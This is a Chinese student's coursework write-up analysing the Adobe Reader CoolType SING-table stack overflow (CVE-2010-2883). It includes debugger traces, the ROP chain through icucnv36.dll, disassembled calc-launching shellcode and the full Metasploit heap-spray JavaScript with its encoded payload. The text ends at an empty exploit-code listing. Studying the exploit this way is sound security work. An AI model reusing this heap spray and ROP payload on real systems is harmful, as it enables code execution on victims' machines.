小学期作业(一)

写的有点啰嗦 可能

cve-2010-2883

漏洞概览

本来想通过 poc 样本去定位漏洞地址,后来发现找的样本都无法定位到,感觉是我操作有问题,总是蹦出来异常处理,算了,就用泉哥用的上帝视角模式吧,直接通过漏洞点进行分析。
QQ截图20180708170440.png-65.4kB
漏洞点在0x803ddab 处,在调用 strcat 函数时没有对长度检查,造成溢出,并且有程序上下文可以猜测是在对字体处理时出现了问题。下面会详细分析这个漏洞是如何触发的,在分析之前需要先简单了解下 pdf 文件的结构,可以参考:PDF文件解析与PDF恶代分析中的一些坑

触发条件

我使用的样本是 msf 生成的可以弹出计算机的,原理都一样。先来了解下 TTF 字体的一些信息。
首先是 tOffsetTable 记录了表结构的信息,可以理解为一个总表吧。

1
2
3
4
5
6
7
typedef struct tOffsetTable {
TT_Fixed SFNT_Ver; //sfnt version 0x00010000 for version 1.0.
USHORT numTables; //Number of tables.
USHORT searchRange; //(Maximum power of 2 <= numTables) x 16.
USHORT entrySelector; // Log2(maximum power of 2 <= numTables).
USHORT rangeShift; // NumTables x 16-searchRange.
};

然后是 tTable 结构体,记录了相关表的偏移及大小。实际存储的时候会是一个数组,因为存了很多表,之后就是各个表的具体内容。

1
2
3
4
5
6
7
8
9
typedef struct tTable {
union {
char asChar[4]; // 4 -byte identifier.
ULONG asLong;
} Tag;
ULONG checkSum; // CheckSum for this table.
ULONG offset; // Offset from beginning of TrueType font file.
ULONG length; // Length of this table.
};

可以通过 010editor 的模板功能进行查看,如下(字体数据结构是通过 PdfStreamDumper得到的)
20180708185531.png-27.6kB


SING 的结构如下图:
singtbl.png-111.1kB




下面我们看下实验的样本中 SING 结构的数据
123.png-97.2kB
我们先来简单分析下漏洞点附近的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
push offset aSing ; "SING"
push edi ; int
lea ecx, [ebp+108h+var_12C]
call sub_8021B06
mov eax, [ebp+108h+var_12C]
cmp eax, esi
mov byte ptr [ebp+108h+var_10C], 2
jz short loc_803DDC4
mov ecx, [eax]
and ecx, 0FFFFh
jz short loc_803DD9F
cmp ecx, 100h
jnz short loc_803DDC0
add eax, 10h
push eax ; char *
lea eax, [ebp+108h+var_108]
push eax ; char *
mov [ebp+108h+var_108], 0
call strcat

先看第一个函数 sub_8021B06(ecx, edi, str_SING);, 第一个参数是一个对象,但是现在并不能确定这个函数的作用,可以通过 windbg 加断点比较前后数据的变化来猜测。
先看下在函数执行前
QQ截图20180708194913.png-125.5kB
执行函数后再一次进行比较,可以猜到函数的作用是根据存储 TTF 数据的地址找到 SING 表结构的地址。
QQ截图20180708195541.png-139.6kB
所以后面指令的作用基本就得到了,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
push offset aSing ; "SING"
push edi ; int
lea ecx, [ebp+108h+var_12C]
call sub_8021B06
mov eax, [ebp+108h+var_12C] ;eax = SING addr
cmp eax, esi
mov byte ptr [ebp+108h+var_10C], 2
jz short loc_803DDC4
mov ecx, [eax] ;version
and ecx, 0FFFFh
jz short loc_803DD9F
cmp ecx, 100h
jnz short loc_803DDC0
add eax, 10h ;SING+0x10 = SING->uniqueName
push eax ; char * ;uniqueName
lea eax, [ebp+108h+var_108] ;stack addr
push eax ; char *
mov [ebp+108h+var_108], 0
call strcat

所以现在漏洞很清晰啦,通过 strcat 函数将 uniqueName 的字符串来连接到栈地址,但是没有检查长度,造成溢出。
eee.png-134.8kB

1
char *strcat(char *dest, const char *src);

虽然只是个栈溢出,但是因为软件过于复杂,并且还存在 GS 保护(虽然后面的利用 GS 没卵用),所以利用起来难度还是很大的,至少对我这个菜鸡是这样,下面我们来看下是如何利用的。

利用技巧

strcat 函数执行前查看帧栈信息,与执行后进行比较
fff.png-179.6kB
可以看到栈上的数据的改动造成了相关帧栈信息的变动,例如 0x0c0c0c0c,可以很自然的想到 heapspray
实际上面代码还有个很无法理解的地方

1
2
3
.text:0803DCF9 push ebp
.text:0803DCFA sub esp, 104h
.text:0803DD00 lea ebp, [esp-4]

编译器这样改 ebp 是为了优化??? 不懂
后面的通过栈上的可控变量控制 eip 这一步感觉实在想不出来,感觉可能是通过污点分析对可控数据监控,当遇到能通过 call 调用时记录下来,然后利用的。在 0x0808B308 处的指令可以通过栈上存储的值调用相应地址的指令,通过 windbg 跟踪来看下。
ggg.png-14.4kB
跟踪直到运行到 0808B308 处,整理运行过的指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
0803ddb6 8bcb mov ecx,ebx
0803ddb8 e88634fcff call CoolType+0x1243 (08001243)
0803ddbd 8b45dc mov eax,dword ptr [ebp-24h] ss:0023:0012e4b4=046cb078
0803ddc0 c645ef01 mov byte ptr [ebp-11h],1 ss:0023:0012e4c7=00
0803ddc4 3bc6 cmp eax,esi
0803ddc6 c645fc01 mov byte ptr [ebp-4],1 ss:0023:0012e4d4=02
0803ddca 7407 je CoolType+0x3ddd3 (0803ddd3) [br=0]
0803ddcc 50 push eax
0803ddcd e8ed3a0000 call CoolType+0x418bf (080418bf)
0803ddd2 59 pop ecx
0803ddd3 807def00 cmp byte ptr [ebp-11h],0 ss:0023:0012e4c7=01
0803ddd7 0f85cc000000 jne CoolType+0x3dea9 (0803dea9) [br=1]
0803dea9 8d45e4 lea eax,[ebp-1Ch]
0803deac 50 push eax
0803dead 53 push ebx
0803deae 57 push edi
0803deaf e82a8dfdff call CoolType+0x16bde (08016bde)
08016bde 55 push ebp
08016bdf 81ec60060000 sub esp,660h
08016be5 8d6c24fc lea ebp,[esp-4]
08016be9 a1b80f2308 mov eax,dword ptr [CoolType!CTCleanup+0xe26ee (08230fb8)] ds:0023:08230fb8=67fbe93a
08016bee 33c5 xor eax,ebp
08016bf0 898560060000 mov dword ptr [ebp+660h],eax ss:0023:0012e458=0012e4cc
08016bf6 6a50 push 50h
08016bf8 b8325d1708 mov eax,offset CoolType!CTCleanup+0x27468 (08175d32)
08016bfd e8cf150300 call CoolType!CTInit+0x1b2e (080481d1)
08016c02 8b8574060000 mov eax,dword ptr [ebp+674h] ss:0023:0012e46c=0012e4bc
08016c08 8bb570060000 mov esi,dword ptr [ebp+670h] ss:0023:0012e468=0012e608
08016c0e 8bbd6c060000 mov edi,dword ptr [ebp+66Ch] ss:0023:0012e464=0012e718
08016c14 8945a8 mov dword ptr [ebp-58h],eax ss:0023:0012dda0=ffeb0000
08016c17 b850a62308 mov eax,offset CoolType!CTCleanup+0xebd86 (0823a650)
08016c1c 50 push eax
08016c1d 8975e4 mov dword ptr [ebp-1Ch],esi ss:0023:0012dddc=1200b8e7
08016c20 8945a4 mov dword ptr [ebp-5Ch],eax ss:0023:0012dd9c=00000001
08016c23 ff1530f11808 call dword ptr [CoolType!CTCleanup+0x40866 (0818f130)] ds:0023:0818f130={ntdll!RtlEnterCriticalSection (7c921000)}
08016c29 33db xor ebx,ebx
08016c2b 57 push edi
08016c2c 895dfc mov dword ptr [ebp-4],ebx ss:0023:0012ddf4=ffffffff
08016c2f 895dd0 mov dword ptr [ebp-30h],ebx ss:0023:0012ddc8=1200b8e7
08016c32 895dec mov dword ptr [ebp-14h],ebx ss:0023:0012dde4=81234378
08016c35 e8e24e0000 call CoolType+0x1bb1c (0801bb1c)
08016c3a 3bc3 cmp eax,ebx
08016c3c 59 pop ecx
08016c3d 8945e8 mov dword ptr [ebp-18h],eax ss:0023:0012dde0=8d235d88
08016c40 0f8488060000 je CoolType+0x172ce (080172ce) [br=0]
08016c46 6a01 push 1
08016c48 53 push ebx
08016c49 53 push ebx
08016c4a 8d45ec lea eax,[ebp-14h]
08016c4d 50 push eax
08016c4e 8d45d0 lea eax,[ebp-30h]
08016c51 50 push eax
08016c52 57 push edi
08016c53 ff75e8 push dword ptr [ebp-18h] ss:0023:0012dde0=01efc87c
08016c56 e8c64e0000 call CoolType+0x1bb21 (0801bb21)
0801bb21 55 push ebp
0801bb22 8bec mov ebp,esp
0801bb24 ff7520 push dword ptr [ebp+20h] ss:0023:0012dd88=00000001
0801bb27 8b4d08 mov ecx,dword ptr [ebp+8] ss:0023:0012dd70=01efc87c
0801bb2a ff751c push dword ptr [ebp+1Ch] ss:0023:0012dd84=00000000
0801bb2d 8b01 mov eax,dword ptr [ecx] ds:0023:01efc87c=081a601c
0801bb2f ff7518 push dword ptr [ebp+18h] ss:0023:0012dd80=00000000
0801bb32 ff05a0a62308 inc dword ptr [CoolType!CTCleanup+0xebdd6 (0823a6a0)] ds:0023:0823a6a0=00000000
0801bb38 ff7514 push dword ptr [ebp+14h] ss:0023:0012dd7c=0012dde4
0801bb3b ff7510 push dword ptr [ebp+10h] ss:0023:0012dd78=0012ddc8
0801bb3e ff750c push dword ptr [ebp+0Ch] ss:0023:0012dd74=0012e718
0801bb41 ff10 call dword ptr [eax] ds:0023:081a601c=0808b116
0808b116 55 push ebp
0808b117 8bec mov ebp,esp
0808b119 51 push ecx
0808b11a 53 push ebx
0808b11b 56 push esi
0808b11c 57 push edi
0808b11d 8b7d08 mov edi,dword ptr [ebp+8] ss:0023:0012dd50=0012e718
0808b120 57 push edi
0808b121 8bf1 mov esi,ecx
0808b123 e802ffffff call CoolType!CTInit+0x44987 (0808b02a)
0808b128 33db xor ebx,ebx
0808b12a 84c0 test al,al
0808b12c 0f8499010000 je CoolType!CTInit+0x44c28 (0808b2cb) [br=0]
0808b132 385d1c cmp byte ptr [ebp+1Ch],bl ss:0023:0012dd64=01
0808b135 0f8590010000 jne CoolType!CTInit+0x44c28 (0808b2cb) [br=1]
0808b2cb 8b06 mov eax,dword ptr [esi] ds:0023:01efc87c=081a601c
0808b2cd 885d1f mov byte ptr [ebp+1Fh],bl ss:0023:0012dd67=00
0808b2d0 ff5070 call dword ptr [eax+70h] ds:0023:081a608c=08089937
0808b2d3 57 push edi
0808b2d4 8d4e14 lea ecx,[esi+14h]
0808b2d7 e86432f9ff call CoolType+0x1e540 (0801e540)
0808b2dc c686e000000001 mov byte ptr [esi+0E0h],1 ds:0023:01efc95c=00
0808b2e3 8b473c mov eax,dword ptr [edi+3Ch] ds:0023:0012e754=0012e6d0
0808b2e6 3bc3 cmp eax,ebx
0808b2e8 8986f4020000 mov dword ptr [esi+2F4h],eax ds:0023:01efcb70=0012e6d0
0808b2ee 899ef8020000 mov dword ptr [esi+2F8h],ebx ds:0023:01efcb74=00000000
0808b2f4 895dfc mov dword ptr [ebp-4],ebx ss:0023:0012dd44=01efc87c
0808b2f7 7507 jne CoolType!CTInit+0x44c5d (0808b300) [br=1]
0808b300 8d4dfc lea ecx,[ebp-4]
0808b303 51 push ecx
0808b304 53 push ebx
0808b305 6a03 push 3
0808b307 50 push eax
0808b308 ff10 call dword ptr [eax] ds:0023:0012e6d0=4a80cb38

下面来看下 call dword ptr [eax] 会执行什么指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0:000> r eax
eax=0012e6d0
0:000> dd 0012e6d0 L1
0012e6d0 4a80cb38
0:000> !address 4a80cb38
*************************************************************************
Usage: Image
Allocation Base: 4a800000
Base Address: 4a801000
End Address: 4a849000
Region Size: 00048000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
More info: lmv m icucnv36
More info: !lmi icucnv36
More info: ln 0x4a80cb38
0:000> u 4a80cb38
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000 add ebp,794h
4a80cb3e c9 leave
4a80cb3f c3 ret

所以 icucnv36!ucnv_toUChars_3_6+0x162 处的 gadget 的作用就很明显了, stack pivot。单步执行看下下一个 gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
0:000> r ebp
ebp=0012dd48
0:000> dd ebp
0012dd48 0012dd68 0801bb43 0012e718 0012ddc8
0012dd58 0012dde4 00000000 00000000 00000001
0012dd68 0012ddf8 08016c5b 01efc87c 0012e718
0012dd78 0012ddc8 0012dde4 00000000 00000000
0012dd88 00000001 67e934c2 0012e718 00000000
0012dd98 0012e608 0823a650 0012e4bc ff270000
0012dda8 00000003 1200ccdd 81234378 1200b8e7
0012ddb8 120058e8 1200b8e7 8d235d88 120034de
0:000> p
eax=0012e6d0 ebx=00000000 ecx=0012dd44 edx=00000000 esi=01efc87c edi=0012e718
eip=4a80cb3e esp=0012dd24 ebp=0012e4dc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
icucnv36!ucnv_toUChars_3_6+0x168:
4a80cb3e c9 leave
0:000> dd ebp
0012e4dc f012512c 4a82a714 0c0c0c0c 47dabcf2
0012e4ec 5c064f94 5c53850a 57ef3bba e910375e
0012e4fc ef4039c2 f0e3b6aa 61a8c5b4 c2474a7a
0012e50c 15da11a6 436a7060 1d9d4505 1c1f88da
0012e51c 249ca0df e4d40d46 269a3dfc daed6b97
0012e52c c920c5fc 2d4265c3 cb1f5a53 5a0c27e0
0012e53c 69fd2e39 6d70eb0d b877a4e9 db9a8a4d
0012e54c 883c0409 f6fa0ea5 6634d433 e7f0ef0d
0:000> p
eax=0012e6d0 ebx=00000000 ecx=0012dd44 edx=00000000 esi=01efc87c edi=0012e718
eip=4a80cb3f esp=0012e4e0 ebp=f012512c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
icucnv36!ucnv_toUChars_3_6+0x169:
4a80cb3f c3 ret
0:000> p
eax=0012e6d0 ebx=00000000 ecx=0012dd44 edx=00000000 esi=01efc87c edi=0012e718
eip=4a82a714 esp=0012e4e4 ebp=f012512c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
icucnv36!icu_3_6::CharacterIterator::setToStart+0x8:
4a82a714 5c pop esp
0:000> dd esp L1
0012e4e4 0c0c0c0c
0:000> u 4a82a714
icucnv36!icu_3_6::CharacterIterator::setToStart+0x8:
4a82a714 5c pop esp
4a82a715 c3 ret

通过两个 gadget 控制 eip 到了 [0x0c0c0c0c],剩下就是堆喷射啦。
如果用图来表示这个过程的话,大概是下面这样吧。
ffss.png-27.1kB
emmmmmm 现在已经控制 eip = [0x0c0c0c0c] 啦,剩下的就好多了, 堆喷射完成 shellcode 的布局,然后就是使 eip 滑入放置好的 shllcode 啦,堆喷射的代码可以通过 PdfStreamDumper 得到。

1
2
3
4
5
6
7
8
9
10
11
12
13
var mqraPQZSAwAwCczJcaACUcIIwCnLbss = unescape;
var twSOePGGglyJWdlzCpRIHpSsaEoDFZmatVqAcDoCSkrLKdpcOIBqGOVtWQMSEAGMpVRA = mqraPQZSAwAwCczJcaACUcIIwCnLbss( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%u64b8%u9c0f%uda97%ud9cc%u2474%u5ef4%uc929%u31b1%uc683%u3104%u0f46%u4603%ued6b%u6b69%u739b%u9491%u145b%u711b%u146a%uf17f%ua4dc%u570b%u4fd0%u4c59%u3d63%u6376%u88c4%u4aa0%ua1d5%ucd91%ub855%u2dc5%u7364%u2f18%u6ea1%u7dd1%ue47a%u9244%ub00f%u1954%u5443%ufedd%u5713%u50cc%u0e28%u53ce%u3afd%u4c47%u07e2%ue711%ufcd0%u21a0%ufc29%u0c0f%u0f86%u4851%uf020%ua024%u8d53%u773e%u492e%u6cca%u1a88%u496c%uce29%u1aeb%ubb25%u4478%u3a29%ufeac%ub755%ud153%u83dc%uf577%u5085%uac19%u3663%uae26%ue7cc%ua482%ufce0%ue6be%u026e%u9d4c%u04dc%u9e4e%u6d70%u157f%uea1f%ufc80%u0464%u5dcb%u8dcc%u3792%ud04d%ue224%ued91%u07a6%u0a69%u6db6%u566c%u9d70%uc71c%ua115%ue8b3%uc23f%u7b52%u2ba3%ufbf1%u3446' );
var NrWJJGMFyDgCbq = mqraPQZSAwAwCczJcaACUcIIwCnLbss( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (NrWJJGMFyDgCbq.length + 20 + 8 < 65536) NrWJJGMFyDgCbq+=NrWJJGMFyDgCbq;
BuWToJIZTn = NrWJJGMFyDgCbq.substring(0, (0x0c0c-0x24)/2);
BuWToJIZTn += twSOePGGglyJWdlzCpRIHpSsaEoDFZmatVqAcDoCSkrLKdpcOIBqGOVtWQMSEAGMpVRA;
BuWToJIZTn += NrWJJGMFyDgCbq;
wrIFk = BuWToJIZTn.substring(0, 65536/2);
while(wrIFk.length < 0x80000) wrIFk += wrIFk;
TjCv = wrIFk.substring(0, 0x80000 - (0x1020-0x08) / 2);
var erZHzdqUNRLxpgKzIZXauOqtrPeTBcQpgRKVLwLA = new Array();
for (wABhQLfeICwQWoJJAlzOKIJXBheCXUwFoFqgj=0;wABhQLfeICwQWoJJAlzOKIJXBheCXUwFoFqgj<0x1f0;wABhQLfeICwQWoJJAlzOKIJXBheCXUwFoFqgj++) erZHzdqUNRLxpgKzIZXauOqtrPeTBcQpgRKVLwLA[wABhQLfeICwQWoJJAlzOKIJXBheCXUwFoFqgj]=TjCv+"s";

上面的 shellcode 是能还原出来的,不过为了熟悉下调试还是用 windbg吧。

1
2
3
4
5
6
7
8
9
0:000> dd 0c0c0c0c L20
0c0c0c0c 4a8063a5 4a8a0000 4a802196 4a801f90
0c0c0c1c 4a84903c 4a80b692 4a801064 4a8522c8
0c0c0c2c 10000000 00000000 00000000 00000002
0c0c0c3c 00000102 00000000 4a8063a5 4a801064
0c0c0c4c 4a842db2 4a802ab1 00000008 4a80a8a6
0c0c0c5c 4a801f90 4a849038 4a80b692 4a801064
0c0c0c6c ffffffff 00000000 00000040 00000000
0c0c0c7c 00010000 00000000 4a8063a5 4a801064

我们先来看下堆中这些数据的内容

1
2
3
4
0:000> u 4a8063a5
icucnv36!uenum_count_3_6+0x1d:
4a8063a5 59 pop ecx
4a8063a6 c3 ret

执行完成后 ecx = 0x4a8a0000,再来看下 0x4a802196

1
2
3
4
0:000> u 4a802196
icucnv36!ubidi_getClassCallback_3_6+0x22:
4a802196 8901 mov dword ptr [ecx],eax
4a802198 c3 ret

执行完后 [0x4a8a0000] = 0x0012e6d0,之后跳到了 0x4a801f90

1
2
3
4
0:000> u 4a801f90
icucnv36!ubidi_getDirection_3_6+0x18:
4a801f90 58 pop eax
4a801f91 c3 ret

最后 eax =4a84903c,跳到了 0x4a80b692

1
2
3
0:000> u 4a80b692
icucnv36!u_errorName_3_6+0xdf:
4a80b692 ff20 jmp dword ptr [eax]

0x4a84903c 实际上是 icucnv36.dll 里函数CreateFileA 在导入表中的地址,所以这样就完成了对CreateFileA函数的调用。
函数参数如下

1
2
3
4
5
0:000> dd 0c0c0c28 L7
0c0c0c28 4a8522c8 10000000 00000000 00000000
0c0c0c38 00000002 00000102 00000000
0:000> da 4a8522c8
4a8522c8 "iso88591"

CreateFileA(0x4a8522c8,GENERIC_ALL,0,NULL,CREATE_ALWAYS,HIDDEN|TEMPORARY,NULL)
之后通过 0x4a801064 处的 ret 指令重新反回到了icucnv36.dll

1
2
3
4
5
eax=00000328 ebx=00000000 ecx=7c93003d edx=04c30002 esi=01efc87c edi=0012e718
eip=4a801064 esp=0c0c0c44 ebp=f012512c iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200293
icucnv36+0x1064:
4a801064 c3 ret

然后看下如何再一次控制 eip 去完成我们想做的事情。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0:000>
eax=00000328 ebx=00000000 ecx=7c93003d edx=04c30002 esi=01efc87c edi=0012e718
eip=4a8063a5 esp=0c0c0c48 ebp=f012512c iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200293
icucnv36!uenum_count_3_6+0x1d:
4a8063a5 59 pop ecx
0:000> p
eax=00000328 ebx=00000000 ecx=4a801064 edx=04c30002 esi=01efc87c edi=0012e718
eip=4a8063a6 esp=0c0c0c4c ebp=f012512c iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200293
icucnv36!uenum_count_3_6+0x1e:
4a8063a6 c3 ret
0:000>
eax=00000328 ebx=00000000 ecx=4a801064 edx=04c30002 esi=01efc87c edi=0012e718
eip=4a842db2 esp=0c0c0c50 ebp=f012512c iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200293
icucnv36!u_strFromUTF32_3_6+0x142:
4a842db2 97 xchg eax,edi
0:000> p
eax=0012e718 ebx=00000000 ecx=4a801064 edx=04c30002 esi=01efc87c edi=00000328
eip=4a842db3 esp=0c0c0c50 ebp=f012512c iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200293
icucnv36!u_strFromUTF32_3_6+0x143:
4a842db3 c3 ret
0:000> p
eax=0012e718 ebx=00000000 ecx=4a801064 edx=04c30002 esi=01efc87c edi=00000328
eip=4a802ab1 esp=0c0c0c54 ebp=f012512c iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200293
icucnv36!ubidi_getDummy_3_6+0xc7:
4a802ab1 5b pop ebx

实际上下面要执行的 gadget 的作用是重新控制 eip ,和之前的call dword ptr [eax] 是类似的,使用的 gadget 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
icucnv36!ubidi_getDummy_3_6+0xc7:
4a802ab1 5b pop ebx
4a802ab2 c3 ret
icucnv36!uprv_pathIsAbsolute_3_6+0xd:
4a80a8a6 213c5c and dword ptr [esp+ebx*2],edi ss:0023:0c0c0c6c=ffffffff
4a80a8a9 7503 jne icucnv36!uprv_pathIsAbsolute_3_6+0x15 (4a80a8ae) [br=1]
4a80a8ae 3c2f cmp al,2Fh
4a80a8b0 74f9 je icucnv36!uprv_pathIsAbsolute_3_6+0x12 (4a80a8ab) [br=0]
4a80a8b2 3c41 cmp al,41h
4a80a8b4 7c04 jl icucnv36!uprv_pathIsAbsolute_3_6+0x21 (4a80a8ba) [br=1]
4a80a8ba 3c61 cmp al,61h
4a80a8bc 7c0a jl icucnv36!uprv_pathIsAbsolute_3_6+0x2f (4a80a8c8) [br=1]
4a80a8c8 32c0 xor al,al
4a80a8ca c3 ret
icucnv36!ubidi_getDirection_3_6+0x18:
4a801f90 58 pop eax
4a801f91 c3 ret
icucnv36!u_errorName_3_6+0xdf:
4a80b692 ff20 jmp dword ptr [eax] ds:0023:4a849038={kernel32!CreateFileMappingA (7c8094ee)}

可以看到这次调用了 CreateFileMappingA 函数,之后用相同的方法执行 MapViewOfFile 函数完成一段可执行内存空间的开辟。之后调用 memcpy 函数完成堆上 shellcode 的复制。查看 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
029e0000 b8640f9c97 mov eax,979C0F64h
029e0005 dacc fcmove st,st(4)
029e0007 d97424f4 fnstenv [esp-0Ch]
029e000b 5e pop esi
029e000c 29c9 sub ecx,ecx
029e000e b131 mov cl,31h
029e0010 83c604 add esi,4
029e0013 31460f xor dword ptr [esi+0Fh],eax
029e0016 03460f add eax,dword ptr [esi+0Fh]
029e0019 e2f5 loop 029e0010
029e001b fc cld
029e001c e882000000 call 029e00a3
029e0021 60 pushad
029e0022 89e5 mov ebp,esp
029e0024 31c0 xor eax,eax
029e0026 648b5030 mov edx,dword ptr fs:[eax+30h]
029e002a 8b520c mov edx,dword ptr [edx+0Ch]
029e002d 8b5214 mov edx,dword ptr [edx+14h]
029e0030 8b7228 mov esi,dword ptr [edx+28h]
029e0033 0fb74a26 movzx ecx,word ptr [edx+26h]
029e0037 31ff xor edi,edi
029e0039 ac lods byte ptr [esi]
029e003a 3c61 cmp al,61h
029e003c 7c02 jl 029e0040
029e003e 2c20 sub al,20h
029e0040 c1cf0d ror edi,0Dh
029e0043 01c7 add edi,eax
029e0045 e2f2 loop 029e0039
029e0047 52 push edx
029e0048 57 push edi
029e0049 8b5210 mov edx,dword ptr [edx+10h]
029e004c 8b4a3c mov ecx,dword ptr [edx+3Ch]
029e004f 8b4c1178 mov ecx,dword ptr [ecx+edx+78h]
029e0053 e348 jecxz 029e009d
029e0055 01d1 add ecx,edx
029e0057 51 push ecx
029e0058 8b5920 mov ebx,dword ptr [ecx+20h]
029e005b 01d3 add ebx,edx
029e005d 8b4918 mov ecx,dword ptr [ecx+18h]
029e0060 e33a jecxz 029e009c
029e0062 49 dec ecx
029e0063 8b348b mov esi,dword ptr [ebx+ecx*4]
029e0066 01d6 add esi,edx
029e0068 31ff xor edi,edi
029e006a ac lods byte ptr [esi]
029e006b c1cf0d ror edi,0Dh
029e006e 01c7 add edi,eax
029e0070 38e0 cmp al,ah
029e0072 75f6 jne 029e006a
029e0074 037df8 add edi,dword ptr [ebp-8]
029e0077 3b7d24 cmp edi,dword ptr [ebp+24h]
029e007a 75e4 jne 029e0060
029e007c 58 pop eax
029e007d 8b5824 mov ebx,dword ptr [eax+24h]
029e0080 01d3 add ebx,edx
029e0082 668b0c4b mov cx,word ptr [ebx+ecx*2]
029e0086 8b581c mov ebx,dword ptr [eax+1Ch]
029e0089 01d3 add ebx,edx
029e008b 8b048b mov eax,dword ptr [ebx+ecx*4]
029e008e 01d0 add eax,edx
029e0090 89442424 mov dword ptr [esp+24h],eax
029e0094 5b pop ebx
029e0095 5b pop ebx
029e0096 61 popad
029e0097 59 pop ecx
029e0098 5a pop edx
029e0099 51 push ecx
029e009a ffe0 jmp eax
029e009c 5f pop edi
029e009d 5f pop edi
029e009e 5a pop edx
029e009f 8b12 mov edx,dword ptr [edx]
029e00a1 eb8d jmp 029e0030
029e00a3 5d pop ebp
029e00a4 6a01 push 1
029e00a6 8d85b2000000 lea eax,[ebp+0B2h]
029e00ac 50 push eax
029e00ad 68318b6f87 push 876F8B31h
029e00b2 ffd5 call ebp
029e00b4 bbf0b5a256 mov ebx,56A2B5F0h
029e00b9 68a695bd9d push 9DBD95A6h
029e00be ffd5 call ebp
029e00c0 3c06 cmp al,6
029e00c2 7c0a jl 029e00ce
029e00c4 80fbe0 cmp bl,0E0h
029e00c7 7505 jne 029e00ce
029e00c9 bb4713726f mov ebx,6F721347h
029e00ce 6a00 push 0
029e00d0 53 push ebx
029e00d1 ffd5 call ebp
029e00d3 63616c arpl word ptr [ecx+6Ch],sp
029e00d6 632e arpl word ptr [esi],bp
029e00d8 657865 js 029e0140
029e00db 000c0c add byte ptr [esp+ecx],cl

一个被变形过的 shellcode,很难看出来功能,在kernel32!WinExec处下断点可以发现功能是弹出计算器。可能是我太菜了,算了,就这样吧。

exploit分析

先贴一下主要的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
